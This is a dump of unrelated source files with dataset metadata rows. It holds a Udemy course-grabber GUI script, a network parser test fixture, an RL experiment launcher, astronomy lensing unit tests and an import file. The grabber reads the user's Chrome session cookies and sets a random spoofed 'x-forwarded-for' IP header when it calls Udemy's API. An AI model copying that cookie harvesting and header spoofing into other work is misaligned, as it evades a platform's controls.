[sg.B('Back',pad=(5,5)),sg.T(' '),sg.B('Login',pad=(5,5))],
]
login_layout = [
[sg.Menu(menu)],
[sg.Column(c1,key = 'col1'), sg.Column(c2,visible = False, key = 'col2')],
]
login_window = sg.Window('Login',login_layout)
ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4))))
while True:
event, values = login_window.read()
with open('config.json') as f:
config = json.load(f)
if event in (None,):
login_window.close()
exit()
elif event == 'a_login':
try:
my_cookies, cookies = fetch_cookies()
try:
access_token = my_cookies['access_token']
csrftoken = my_cookies['csrftoken']
head = {
'authorization': 'Bearer ' + access_token,
'accept': 'application/json, text/plain, */*',
'x-requested-with': 'XMLHttpRequest',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66',
'x-forwarded-for': str(ip),
'x-udemy-authorization': 'Bearer ' + access_token,
'content-type': 'application/json;charset=UTF-8',
'origin': 'https://www.udemy.com',
'referer': 'https://www.udemy.com/',
'dnt': '1',
}
r = requests.get('https://www.udemy.com/api-2.0/contexts/me/?me=True&Config=True', headers = head).json()
currency = r['Config']['price_country']['currency']
user = ''
user = r['me']['display_name']
s = requests.session()
s.cookies.update(cookies)
login_window.close()
break
except Exception as e:
sg.popup_auto_close('Make sure you are logged in to udemy.com in chrome browser',title = 'Error',auto_close_duration=5,no_titlebar=True)
access_token = ''
except Exception as e :
sg.popup_scrolled(e,title='Unknown Error')
elif event == 'c_login':
login_window['col1'].update(visible = False)
login_window['col2'].update(visible = True)
access_token = config['access_token']
client_id = config['client_id']
login_window['access_token'].update(value=access_token)
login_window['client_id'].update(value=client_id)
elif event == 'Github':
webbrowser.open("https://github.com/techtanic/Udemy-Course-Grabber")
elif event == 'Discord':
sg.popup_scrolled('TECHTANIC#8090',no_titlebar=True)
elif event == 'Back':
login_window['col1'].update(visible = True)
login_window['col2'].update(visible = False)
elif event == 'Login':
access_token = values['access_token']
client_id = values['client_id']
config['access_token'] = access_token
config['client_id'] = client_id
csrftoken = ''
cookies = cookiejar(client_id, access_token)
s = requests.session()
s.cookies.update(cookies)
head = {
'authorization': 'Bearer ' + access_token,
'accept': 'application/json, text/plain, */*',
'x-requested-with': 'XMLHttpRequest',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36',
'x-forwarded-for': str(ip),
'x-udemy-authorization': 'Bearer ' + access_token,
'content-type': 'application/json;charset=UTF-8',
'referer': 'https://www.udemy.com/courses/search/?q=free%20courses&src=sac&kw=free',
'origin': 'https://www.udemy.com'
}
try:
r = requests.get('https://www.udemy.com/api-2.0/contexts/me/?me=True&Config=True', headers = head).json()
currency = r['Config']['price_country']['currency']
user = ''
user = r['me']['display_name']
with open('config.json','w') as f:
json.dump(config,f,indent=4)
login_window.close()
break
except Exception as e:
sg.popup_auto_close('Login Unsuccessfull',title = 'Error',auto_close_duration=5,no_titlebar=True)
access_token = ''
checkbox_lo = [
[sg.Checkbox('Comidoc',background_color='#c1c1c1',default=True)],
[sg.Checkbox('Discudemy',background_color='#c1c1c1',default=True)],
[sg.Checkbox('Udemy Freebies',background_color='#c1c1c1',default=True)],
[sg.Checkbox('Udemy Coupons',background_color='#c1c1c1',default=True)],
[sg.Checkbox('Real Discount',background_color='#c1c1c1',default=True)],
[sg.Checkbox('Tricks Info',background_color='#c1c1c1',default=True)],
[sg.Checkbox('Free Web Cart',background_color='#c1c1c1',default=True)],
[sg.Checkbox('Course Mania',background_color='#c1c1c1',default=True)],
]
c1 = [
[sg.Frame('Websites',checkbox_lo,'blue',border_width = 4,background_color='#c1c1c1')],
[sg.Button('Start',tooltip='Once started will not stop until completed')],
]
c2 = [
[sg.Text('Output')],
[sg.Multiline(size=(70, 12),key='out',autoscroll=True,background_color='#2f2f2f',disabled=True)],
]
main_lo = [
[sg.Menu(menu,key='mn')],
[sg.Text(f'Logged in as: {user}',key='user_t')],
[sg.pin(sg.Column(c1,key='col1')),sg.pin(sg.Column(c2,key='col2',visible=False))],
[sg.Button('Exit')],
]
global main_window
main_window = sg.Window('Udemy Course Grabber', main_lo)
threading.Thread(target=update_courses, daemon=True).start()
while True:
event, values = main_window.read()
if event in (None, 'Exit'):
break
elif event == 'Github':
webbrowser.open("https://github.com/techtanic/Udemy-Course-Grabber")
elif event == 'Discord':
sg.popup_scrolled('TECHTANIC#8090',no_titlebar=True)
elif event == 'Start':
func_list = []
sites = []
site_range = []
user_dumb = True
for i in range(0,len(all_sites)):
if values[i]:
func_list.append(all_func_list[i])
site_range.append(all_site_range[i])
sites.append(all_sites[i])
user_dumb = False
if user_dumb:
sg.popup_auto_close(f'Smart Move Human',title = 'Error',auto_close_duration=5,no_titlebar=True)
if not user_dumb:
main_window['col1'].update(visible = False)
main_window['col2'].update(visible = True)
threading.Thread(target=main1, daemon=True).start()
main_window.close()
| 248.918465 | 88,176 | 0.901068 | 4,581 | 103,799 | 20.366732 | 0.680419 | 0.00343 | 0.003205 | 0.004437 | 0.033387 | 0.025305 | 0.024684 | 0.020804 | 0.019796 | 0.01896 | 0 | 0.138265 | 0.047785 | 103,799 | 416 | 88,177 | 249.516827 | 0.805694 | 0.001657 | 0 | 0.319149 | 0 | 0.030395 | 0.887325 | 0.860539 | 0 | 1 | 0 | 0 | 0 | 1 | 0.033435 | false | 0.006079 | 0.048632 | 0 | 0.115502 | 0.075988 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
9834328ad7eee908d67e229054b70ad402b08a6d | 9,561 | py | Python | src/genie/libs/parser/iosxr/tests/ShowL2vpnBridgeDomainDetail/cli/equal/golden2_expected.py | balmasea/genieparser | d1e71a96dfb081e0a8591707b9d4872decd5d9d3 | [
"Apache-2.0"
] | 204 | 2018-06-27T00:55:27.000Z | 2022-03-06T21:12:18.000Z | src/genie/libs/parser/iosxr/tests/ShowL2vpnBridgeDomainDetail/cli/equal/golden2_expected.py | balmasea/genieparser | d1e71a96dfb081e0a8591707b9d4872decd5d9d3 | [
"Apache-2.0"
] | 468 | 2018-06-19T00:33:18.000Z | 2022-03-31T23:23:35.000Z | src/genie/libs/parser/iosxr/tests/ShowL2vpnBridgeDomainDetail/cli/equal/golden2_expected.py | balmasea/genieparser | d1e71a96dfb081e0a8591707b9d4872decd5d9d3 | [
"Apache-2.0"
] | 309 | 2019-01-16T20:21:07.000Z | 2022-03-30T12:56:41.000Z | expected_output = {
'bridge_group': {
'foo_group': {
'bridge_domain': {
'foo_bd': {
'state': 'up',
'id': 0,
'shg_id': 0,
'mode': 'VPWS',
'mtu': 1500,
'ac': {
'num_ac': 1,
'num_ac_up': 0,
'interfaces': {
'GigabitEthernet0/5/1/4': {
'state': 'admin down',
'type': 'Ethernet',
'mtu': 1500,
'xc_id': '1',
'interworking': 'none',
'statistics': {
'packet_totals': {
'receive': 0,
'send': 0,
},
'byte_totals': {
'receive': 0,
'send': 0,
},
},
},
},
},
'vfi': {
'num_vfi': 1,
'foo_vfi': {
'neighbor': {
'10.4.1.1': {
'pw_id': {
'1': {
'state': 'up ( established )',
'pw_class': 'not set',
'encapsulation': 'MPLS',
'protocol': 'LDP',
'pw_type': 'Ethernet',
'control_word': 'enabled',
'interworking': 'none',
'sequencing': 'not set',
'mpls': {
'label': {
'local': '16001',
'remote': '16001',
},
'group_id': {
'local': 'unassigned',
'remote': 'unknown',
},
'interface': {
'local': 'siva/vfi',
'remote': 'siva/vfi',
},
'mtu': {
'local': '1500',
'remote': '1500',
},
'control_word': {
'local': 'enabled',
'remote': 'enabled',
},
'pw_type': {
'local': 'Ethernet',
'remote': 'Ethernet',
},
'vccv_cv_type': {
'local': '0x2',
'remote': '0x2',
'local_type': ['LSP ping verification'],
'remote_type': ['LSP ping verification'],
},
'vccv_cc_type': {
'local': '0x3',
'remote': '0x3',
'local_type': ['control word', 'router alert label'],
'remote_type': ['control word', 'router alert label'],
},
},
'create_time': '25/06/2007 05:29:42 (2w0d ago)',
'last_time_status_changed': '27/06/2007 06:50:35 (1w5d ago)',
},
'2': {
'state': 'up ( established )',
'pw_class': 'not set',
'encapsulation': 'MPLS',
'protocol': 'LDP',
'pw_type': 'Ethernet',
'control_word': 'enabled',
'interworking': 'none',
'sequencing': 'not set',
'mpls': {
'label': {
'local': '16002',
'remote': '16002',
},
'group_id': {
'local': 'unassigned',
'remote': 'unknown',
},
'monitor_interface': {
'local': 'siva/vfi',
'remote': 'siva/vfi',
},
'mtu': {
'local': '1500',
'remote': '1500',
},
'control_word': {
'local': 'enabled',
'remote': 'enabled',
},
'pw_type': {
'local': 'Ethernet',
'remote': 'Ethernet',
},
'vccv_cv_type': {
'local': '0x2',
'remote': '0x2',
'local_type': ['LSP ping verification'],
'remote_type': ['LSP ping verification'],
},
'vccv_cc_type': {
'local': '0x3',
'remote': '0x3',
'local_type': ['control word', 'router alert label'],
'remote_type': ['control word', 'router alert label'],
},
},
'create_time': '25/06/2007 05:29:42 (2w0d ago)',
'last_time_status_changed': '27/06/2007 06:50:35 (1w5d ago)',
},
},
},
},
'statistics': {
'drop': {
'illegal_vlan': 0,
'illegal_length': 0,
},
},
},
},
'pw': {
'num_pw': 2,
'num_pw_up': 2,
},
},
},
},
},
}
| 59.75625 | 110 | 0.160339 | 327 | 9,561 | 4.513761 | 0.287462 | 0.059621 | 0.02981 | 0.062331 | 0.776423 | 0.750678 | 0.703252 | 0.703252 | 0.703252 | 0.703252 | 0 | 0.065179 | 0.760904 | 9,561 | 159 | 111 | 60.132075 | 0.58049 | 0 | 0 | 0.509434 | 0 | 0 | 0.165046 | 0.007321 | 0 | 0 | 0.00251 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
983c3c85d004e56fe2f50c2590bd5f8ae2012c71 | 5,805 | py | Python | rlpyt/experiments/scripts/mujoco/pg/launch/launch_halfcheetahtransfer_all.py | DavidSlayback/rlpyt | 445adbd3917842caae0cae0d06e4b2866c8f1258 | [
"MIT"
] | null | null | null | rlpyt/experiments/scripts/mujoco/pg/launch/launch_halfcheetahtransfer_all.py | DavidSlayback/rlpyt | 445adbd3917842caae0cae0d06e4b2866c8f1258 | [
"MIT"
] | null | null | null | rlpyt/experiments/scripts/mujoco/pg/launch/launch_halfcheetahtransfer_all.py | DavidSlayback/rlpyt | 445adbd3917842caae0cae0d06e4b2866c8f1258 | [
"MIT"
] | null | null | null | import pathlib
from rlpyt.utils.launching.affinity import encode_affinity
from rlpyt.utils.launching.exp_launcher import run_experiments
from rlpyt.utils.launching.variant import make_variants, VariantLevel
affinity_code = encode_affinity(
n_cpu_core=6,
n_gpu=1,
contexts_per_gpu=6,
n_socket=1,
alternating=True
)
runs_per_setting = 6 # 6 runs
# A2C
path = pathlib.Path(__file__).resolve().parent.parent / 'train' / "mujoco_ff_a2c_gpu.py"
script = path.as_posix()
default_config_key = "a2c_1M_halfcheetahtransfer"
experiment_title = "A2C_HalfCheetahDirectionalTransfer"
variant_levels = list()
lrs = [3e-4, 1e-3, 5e-3, 1e-2]
values = list(zip(lrs))
dir_names = ["A2C_lr_{}".format(*v) for v in values]
keys = [("algo", "learning_rate")]
variant_levels.append(VariantLevel(keys, values, dir_names))
variants, log_dirs = make_variants(*variant_levels)
run_experiments(
script=script,
affinity_code=affinity_code,
experiment_title=experiment_title,
runs_per_setting=runs_per_setting,
variants=variants,
log_dirs=log_dirs,
common_args=(default_config_key,),
)
# PPO
# path = pathlib.Path(__file__).resolve().parent.parent / 'train' / "mujoco_ff_ppo_gpu.py"
# script = path.as_posix()
# default_config_key = "ppo_1M_halfcheetahtransfer"
# experiment_title = "PPO_HalfCheetahDirectionalTransfer"
# variant_levels = list()
# lrs = [3e-5, 1e-4, 3e-4]
# values = list(zip(lrs))
# dir_names = ["PPO_lr_{}".format(*v) for v in values]
# keys = [("algo", "learning_rate")]
# variant_levels.append(VariantLevel(keys, values, dir_names))
# variants, log_dirs = make_variants(*variant_levels)
# run_experiments(
# script=script,
# affinity_code=affinity_code,
# experiment_title=experiment_title,
# runs_per_setting=runs_per_setting,
# variants=variants,
# log_dirs=log_dirs,
# common_args=(default_config_key,),
# )
# # PPOC
# path = pathlib.Path(__file__).resolve().parent.parent / 'train' / "mujoco_ff_ppoc_gpu.py"
# script = path.as_posix()
# default_config_key = "ppoc_1M_halfcheetahtransfer"
# experiment_title = "PPOC_HalfCheetahDirectionalTransfer"
# variant_levels = list()
# lrs = [3e-5, 1e-4, 3e-4]
# delib=[0., 1e-1, 1.]
# values = list(zip(delib))
# dir_names = ["PPOC_{}".format(*v) for v in values]
# keys = [("algo", "delib_cost")]
# variant_levels.append(VariantLevel(keys, values, dir_names))
# values = list(zip(lrs))
# keys = [("algo", "learning_rate")]
# dir_names = ["lr_{}".format(*v) for v in values]
# variant_levels.append(VariantLevel(keys, values, dir_names))
# variants, log_dirs = make_variants(*variant_levels)
# run_experiments(
# script=script,
# affinity_code=affinity_code,
# experiment_title=experiment_title,
# runs_per_setting=runs_per_setting,
# variants=variants,
# log_dirs=log_dirs,
# common_args=(default_config_key,),
# )
#
# # A2OC
# path = pathlib.Path(__file__).resolve().parent.parent / 'train' / "mujoco_ff_a2oc_gpu.py"
# script = path.as_posix()
# default_config_key = "a2oc_1M_halfcheetahtransfer"
# experiment_title = "A2OC_HalfCheetahDirectionalTransfer"
# variant_levels = list()
# lrs = [3e-5, 1e-4, 3e-4]
# delib=[0., 1e-1, 1.]
# values = list(zip(delib))
# dir_names = ["A2OC_{}".format(*v) for v in values]
# keys = [("algo", "delib_cost")]
# variant_levels.append(VariantLevel(keys, values, dir_names))
# values = list(zip(lrs))
# keys = [("algo", "learning_rate")]
# dir_names = ["lr_{}".format(*v) for v in values]
# variant_levels.append(VariantLevel(keys, values, dir_names))
# variants, log_dirs = make_variants(*variant_levels)
#
# run_experiments(
# script=script,
# affinity_code=affinity_code,
# experiment_title=experiment_title,
# runs_per_setting=runs_per_setting,
# variants=variants,
# log_dirs=log_dirs,
# common_args=(default_config_key,),
# )
# PPIOC
path = pathlib.Path(__file__).resolve().parent.parent / 'train' / "mujoco_ff_ppoc_gpu.py"
script = path.as_posix()
default_config_key = "ppioc_1M_halfcheetahtransfer"
experiment_title = "PPIOC_HalfCheetahDirectionalTransfer"
variant_levels = list()
# lrs = [3e-5, 1e-4, 3e-4]
# delib=[0., 1e-1, 1.]
lrs = [3e-4, 1e-3, 5e-3]
delib=[0., 1e-1, 1.]
values = list(zip(delib))
dir_names = ["PPIOC_{}".format(*v) for v in values]
keys = [("algo", "delib_cost")]
variant_levels.append(VariantLevel(keys, values, dir_names))
values = list(zip(lrs))
keys = [("algo", "learning_rate")]
dir_names = ["lr_{}".format(*v) for v in values]
variant_levels.append(VariantLevel(keys, values, dir_names))
variants, log_dirs = make_variants(*variant_levels)
run_experiments(
script=script,
affinity_code=affinity_code,
experiment_title=experiment_title,
runs_per_setting=runs_per_setting,
variants=variants,
log_dirs=log_dirs,
common_args=(default_config_key,),
)
# # A2IOC
# path = pathlib.Path(__file__).resolve().parent.parent / 'train' / "mujoco_ff_a2oc_gpu.py"
# script = path.as_posix()
# default_config_key = "a2ioc_1M_halfcheetahtransfer"
# experiment_title = "A2OC_HalfCheetahDirectionalTransfer"
# variant_levels = list()
# lrs = [3e-5, 1e-4, 3e-4]
# delib=[0., 1e-1, 1.]
# values = list(zip(delib))
# dir_names = ["A2IOC_{}".format(*v) for v in values]
# keys = [("algo", "delib_cost")]
# variant_levels.append(VariantLevel(keys, values, dir_names))
# values = list(zip(lrs))
# keys = [("algo", "learning_rate")]
# dir_names = ["lr_{}".format(*v) for v in values]
# variant_levels.append(VariantLevel(keys, values, dir_names))
# variants, log_dirs = make_variants(*variant_levels)
#
# run_experiments(
# script=script,
# affinity_code=affinity_code,
# experiment_title=experiment_title,
# runs_per_setting=runs_per_setting,
# variants=variants,
# log_dirs=log_dirs,
# common_args=(default_config_key,),
# ) | 33.947368 | 91 | 0.718691 | 784 | 5,805 | 4.992347 | 0.109694 | 0.073071 | 0.0465 | 0.028104 | 0.868166 | 0.868166 | 0.843894 | 0.837762 | 0.837762 | 0.818344 | 0 | 0.018016 | 0.129888 | 5,805 | 171 | 92 | 33.947368 | 0.75688 | 0.614815 | 0 | 0.508772 | 0 | 0 | 0.11524 | 0.068203 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.070175 | 0 | 0.070175 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
985f2bbb566ea23be9d7448ecf00598970dac5a5 | 9,943 | py | Python | test_autolens/lens/test_operate.py | Jammy2211/AutoLens | bc132a21d1a52248f08f198474e29f985e365d85 | [
"MIT"
] | null | null | null | test_autolens/lens/test_operate.py | Jammy2211/AutoLens | bc132a21d1a52248f08f198474e29f985e365d85 | [
"MIT"
] | 10 | 2017-12-22T11:39:33.000Z | 2018-01-30T09:13:16.000Z | test_autolens/lens/test_operate.py | Jammy2211/AutoLens | bc132a21d1a52248f08f198474e29f985e365d85 | [
"MIT"
] | null | null | null | from astropy import cosmology as cosmo
import numpy as np
import pytest
import os
from os import path
import shutil
from skimage import measure
import autolens as al
test_path = path.join("{}".format(path.dirname(path.realpath(__file__))), "files")
def test__operate_image__blurred_images_2d_via_psf_from__for_tracer_gives_list_of_planes(
sub_grid_2d_7x7, blurring_grid_2d_7x7, psf_3x3
):
g0 = al.Galaxy(
redshift=0.5,
light_profile=al.lp.EllSersic(intensity=1.0),
mass_profile=al.mp.SphIsothermal(einstein_radius=1.0),
)
g1 = al.Galaxy(redshift=1.0, light_profile=al.lp.EllSersic(intensity=2.0))
plane_0 = al.Plane(redshift=0.5, galaxies=[g0])
plane_1 = al.Plane(redshift=1.0, galaxies=[g1])
blurred_image_0 = plane_0.blurred_image_2d_via_psf_from(
grid=sub_grid_2d_7x7, psf=psf_3x3, blurring_grid=blurring_grid_2d_7x7
)
source_grid_2d_7x7 = plane_0.traced_grid_from(grid=sub_grid_2d_7x7)
source_blurring_grid_2d_7x7 = plane_0.traced_grid_from(grid=blurring_grid_2d_7x7)
blurred_image_1 = plane_1.blurred_image_2d_via_psf_from(
grid=source_grid_2d_7x7, psf=psf_3x3, blurring_grid=source_blurring_grid_2d_7x7
)
tracer = al.Tracer(planes=[plane_0, plane_1], cosmology=al.cosmo.Planck15())
blurred_image = tracer.blurred_image_2d_via_psf_from(
grid=sub_grid_2d_7x7, psf=psf_3x3, blurring_grid=blurring_grid_2d_7x7
)
assert blurred_image.native == pytest.approx(
blurred_image_0.native + blurred_image_1.native, 1.0e-4
)
blurred_image_list = tracer.blurred_image_2d_list_via_psf_from(
grid=sub_grid_2d_7x7, psf=psf_3x3, blurring_grid=blurring_grid_2d_7x7
)
assert (blurred_image_list[0].slim == blurred_image_0.slim).all()
assert (blurred_image_list[1].slim == blurred_image_1.slim).all()
assert (blurred_image_list[0].native == blurred_image_0.native).all()
assert (blurred_image_list[1].native == blurred_image_1.native).all()
def test__operate_image__blurred_images_2d_via_convolver_from__for_tracer_gives_list_of_planes(
sub_grid_2d_7x7, blurring_grid_2d_7x7, convolver_7x7
):
g0 = al.Galaxy(
redshift=0.5,
light_profile=al.lp.EllSersic(intensity=1.0),
mass_profile=al.mp.SphIsothermal(einstein_radius=1.0),
)
g1 = al.Galaxy(redshift=1.0, light_profile=al.lp.EllSersic(intensity=2.0))
plane_0 = al.Plane(redshift=0.5, galaxies=[g0])
plane_1 = al.Plane(redshift=1.0, galaxies=[g1])
blurred_image_0 = plane_0.blurred_image_2d_via_convolver_from(
grid=sub_grid_2d_7x7,
convolver=convolver_7x7,
blurring_grid=blurring_grid_2d_7x7,
)
source_grid_2d_7x7 = plane_0.traced_grid_from(grid=sub_grid_2d_7x7)
source_blurring_grid_2d_7x7 = plane_0.traced_grid_from(grid=blurring_grid_2d_7x7)
blurred_image_1 = plane_1.blurred_image_2d_via_convolver_from(
grid=source_grid_2d_7x7,
convolver=convolver_7x7,
blurring_grid=source_blurring_grid_2d_7x7,
)
tracer = al.Tracer(planes=[plane_0, plane_1], cosmology=al.cosmo.Planck15())
blurred_image = tracer.blurred_image_2d_via_convolver_from(
grid=sub_grid_2d_7x7,
convolver=convolver_7x7,
blurring_grid=blurring_grid_2d_7x7,
)
assert blurred_image.native == pytest.approx(
blurred_image_0.native + blurred_image_1.native, 1.0e-4
)
blurred_image_list = tracer.blurred_image_2d_list_via_convolver_from(
grid=sub_grid_2d_7x7,
convolver=convolver_7x7,
blurring_grid=blurring_grid_2d_7x7,
)
assert (blurred_image_list[0].slim == blurred_image_0.slim).all()
assert (blurred_image_list[1].slim == blurred_image_1.slim).all()
assert (blurred_image_list[0].native == blurred_image_0.native).all()
assert (blurred_image_list[1].native == blurred_image_1.native).all()
def test__operate_image__visibilities_of_planes_from_grid_and_transformer(
sub_grid_2d_7x7, transformer_7x7_7
):
g0 = al.Galaxy(redshift=0.5, light_profile=al.lp.EllSersic(intensity=1.0))
g1 = al.Galaxy(redshift=1.0, light_profile=al.lp.EllSersic(intensity=2.0))
plane_0 = al.Plane(redshift=0.5, galaxies=[g0])
plane_1 = al.Plane(redshift=0.5, galaxies=[g1])
plane_2 = al.Plane(redshift=1.0, galaxies=[al.Galaxy(redshift=1.0)])
visibilities_0 = plane_0.visibilities_via_transformer_from(
grid=sub_grid_2d_7x7, transformer=transformer_7x7_7
)
visibilities_1 = plane_1.visibilities_via_transformer_from(
grid=sub_grid_2d_7x7, transformer=transformer_7x7_7
)
tracer = al.Tracer(
planes=[plane_0, plane_1, plane_2], cosmology=al.cosmo.Planck15()
)
visibilities = tracer.visibilities_list_via_transformer_from(
grid=sub_grid_2d_7x7, transformer=transformer_7x7_7
)
assert (visibilities[0] == visibilities_0).all()
assert (visibilities[1] == visibilities_1).all()
def test__operate_image__galaxy_blurred_image_2d_dict_via_convolver_from(
sub_grid_2d_7x7, blurring_grid_2d_7x7, convolver_7x7
):
g0 = al.Galaxy(redshift=0.5, light_profile=al.lp.EllSersic(intensity=1.0))
g1 = al.Galaxy(
redshift=0.5,
mass_profile=al.mp.SphIsothermal(einstein_radius=1.0),
light_profile=al.lp.EllSersic(intensity=2.0),
)
g2 = al.Galaxy(redshift=0.5, light_profile=al.lp.EllSersic(intensity=3.0))
g3 = al.Galaxy(redshift=1.0, light_profile=al.lp.EllSersic(intensity=5.0))
g0_blurred_image = g0.blurred_image_2d_via_convolver_from(
grid=sub_grid_2d_7x7,
convolver=convolver_7x7,
blurring_grid=blurring_grid_2d_7x7,
)
g1_blurred_image = g1.blurred_image_2d_via_convolver_from(
grid=sub_grid_2d_7x7,
convolver=convolver_7x7,
blurring_grid=blurring_grid_2d_7x7,
)
g2_blurred_image = g2.blurred_image_2d_via_convolver_from(
grid=sub_grid_2d_7x7,
convolver=convolver_7x7,
blurring_grid=blurring_grid_2d_7x7,
)
g1_deflections = g1.deflections_yx_2d_from(grid=sub_grid_2d_7x7)
source_grid_2d_7x7 = sub_grid_2d_7x7 - g1_deflections
g1_blurring_deflections = g1.deflections_yx_2d_from(grid=blurring_grid_2d_7x7)
source_blurring_grid_2d_7x7 = blurring_grid_2d_7x7 - g1_blurring_deflections
g3_blurred_image = g3.blurred_image_2d_via_convolver_from(
grid=source_grid_2d_7x7,
convolver=convolver_7x7,
blurring_grid=source_blurring_grid_2d_7x7,
)
tracer = al.Tracer.from_galaxies(
galaxies=[g3, g1, g0, g2], cosmology=al.cosmo.Planck15()
)
blurred_image_dict = tracer.galaxy_blurred_image_2d_dict_via_convolver_from(
grid=sub_grid_2d_7x7,
convolver=convolver_7x7,
blurring_grid=blurring_grid_2d_7x7,
)
assert (blurred_image_dict[g0].slim == g0_blurred_image.slim).all()
assert (blurred_image_dict[g1].slim == g1_blurred_image.slim).all()
assert (blurred_image_dict[g2].slim == g2_blurred_image.slim).all()
assert (blurred_image_dict[g3].slim == g3_blurred_image.slim).all()
def test__operate_image__galaxy_visibilities_dict_from_grid_and_transformer(
sub_grid_2d_7x7, transformer_7x7_7
):
g0 = al.Galaxy(redshift=0.5, light_profile=al.lp.EllSersic(intensity=1.0))
g1 = al.Galaxy(
redshift=0.5,
mass_profile=al.mp.SphIsothermal(einstein_radius=1.0),
light_profile=al.lp.EllSersic(intensity=2.0),
)
g2 = al.Galaxy(redshift=0.5, light_profile=al.lp.EllSersic(intensity=3.0))
g3 = al.Galaxy(redshift=1.0, light_profile=al.lp.EllSersic(intensity=5.0))
g0_visibilities = g0.visibilities_via_transformer_from(
grid=sub_grid_2d_7x7, transformer=transformer_7x7_7
)
g1_visibilities = g1.visibilities_via_transformer_from(
grid=sub_grid_2d_7x7, transformer=transformer_7x7_7
)
g2_visibilities = g2.visibilities_via_transformer_from(
grid=sub_grid_2d_7x7, transformer=transformer_7x7_7
)
g1_deflections = g1.deflections_yx_2d_from(grid=sub_grid_2d_7x7)
source_grid_2d_7x7 = sub_grid_2d_7x7 - g1_deflections
g3_visibilities = g3.visibilities_via_transformer_from(
grid=source_grid_2d_7x7, transformer=transformer_7x7_7
)
tracer = al.Tracer.from_galaxies(
galaxies=[g3, g1, g0, g2], cosmology=al.cosmo.Planck15()
)
visibilities_dict = tracer.galaxy_visibilities_dict_via_transformer_from(
grid=sub_grid_2d_7x7, transformer=transformer_7x7_7
)
assert (visibilities_dict[g0] == g0_visibilities).all()
assert (visibilities_dict[g1] == g1_visibilities).all()
assert (visibilities_dict[g2] == g2_visibilities).all()
assert (visibilities_dict[g3] == g3_visibilities).all()
def test__operate_lens__sums_individual_quantities():
grid = al.Grid2D.uniform(shape_native=(50, 50), pixel_scales=0.15)
sis_0 = al.mp.SphIsothermal(centre=(0.0, 0.0), einstein_radius=0.2)
sis_1 = al.mp.SphIsothermal(centre=(0.0, 0.0), einstein_radius=0.4)
sis_2 = al.mp.SphIsothermal(centre=(0.0, 0.0), einstein_radius=0.6)
sis_3 = al.mp.SphIsothermal(centre=(0.0, 0.0), einstein_radius=0.8)
galaxy_0 = al.Galaxy(mass_profile_0=sis_0, mass_profile_1=sis_1, redshift=0.5)
galaxy_1 = al.Galaxy(mass_profile_0=sis_2, mass_profile_1=sis_3, redshift=0.5)
plane = al.Plane(galaxies=[galaxy_0, galaxy_1])
tracer = al.Tracer(
planes=[plane, al.Plane(redshift=1.0, galaxies=None)],
cosmology=al.cosmo.Planck15(),
)
einstein_mass = tracer.einstein_mass_angular_from(grid=grid)
assert einstein_mass == pytest.approx(np.pi * 2.0 ** 2.0, 1.0e-1)
| 36.288321 | 96 | 0.716182 | 1,456 | 9,943 | 4.471154 | 0.069368 | 0.054378 | 0.081567 | 0.051613 | 0.850077 | 0.814747 | 0.784332 | 0.774501 | 0.726882 | 0.726882 | 0 | 0.066494 | 0.183244 | 9,943 | 273 | 97 | 36.421245 | 0.735131 | 0 | 0 | 0.519802 | 0 | 0 | 0.000724 | 0 | 0 | 0 | 0 | 0 | 0.10396 | 1 | 0.029703 | false | 0 | 0.039604 | 0 | 0.069307 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
988a9045c76226bb033cec0c8776b56e09650e49 | 180 | py | Python | Vortex/__init__.py | 1upCommunity/Vortex | abd7d6de3f66ba91b9b6b1a8c338420d90832b08 | [
"MIT"
] | null | null | null | Vortex/__init__.py | 1upCommunity/Vortex | abd7d6de3f66ba91b9b6b1a8c338420d90832b08 | [
"MIT"
] | null | null | null | Vortex/__init__.py | 1upCommunity/Vortex | abd7d6de3f66ba91b9b6b1a8c338420d90832b08 | [
"MIT"
] | null | null | null | from .dependency_list import *
from .dependency_checker import *
from .dependency_installer import *
from .dependency_updater import *
from .core import *
from .rendering import *
| 25.714286 | 35 | 0.8 | 22 | 180 | 6.363636 | 0.409091 | 0.357143 | 0.428571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.133333 | 180 | 6 | 36 | 30 | 0.897436 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
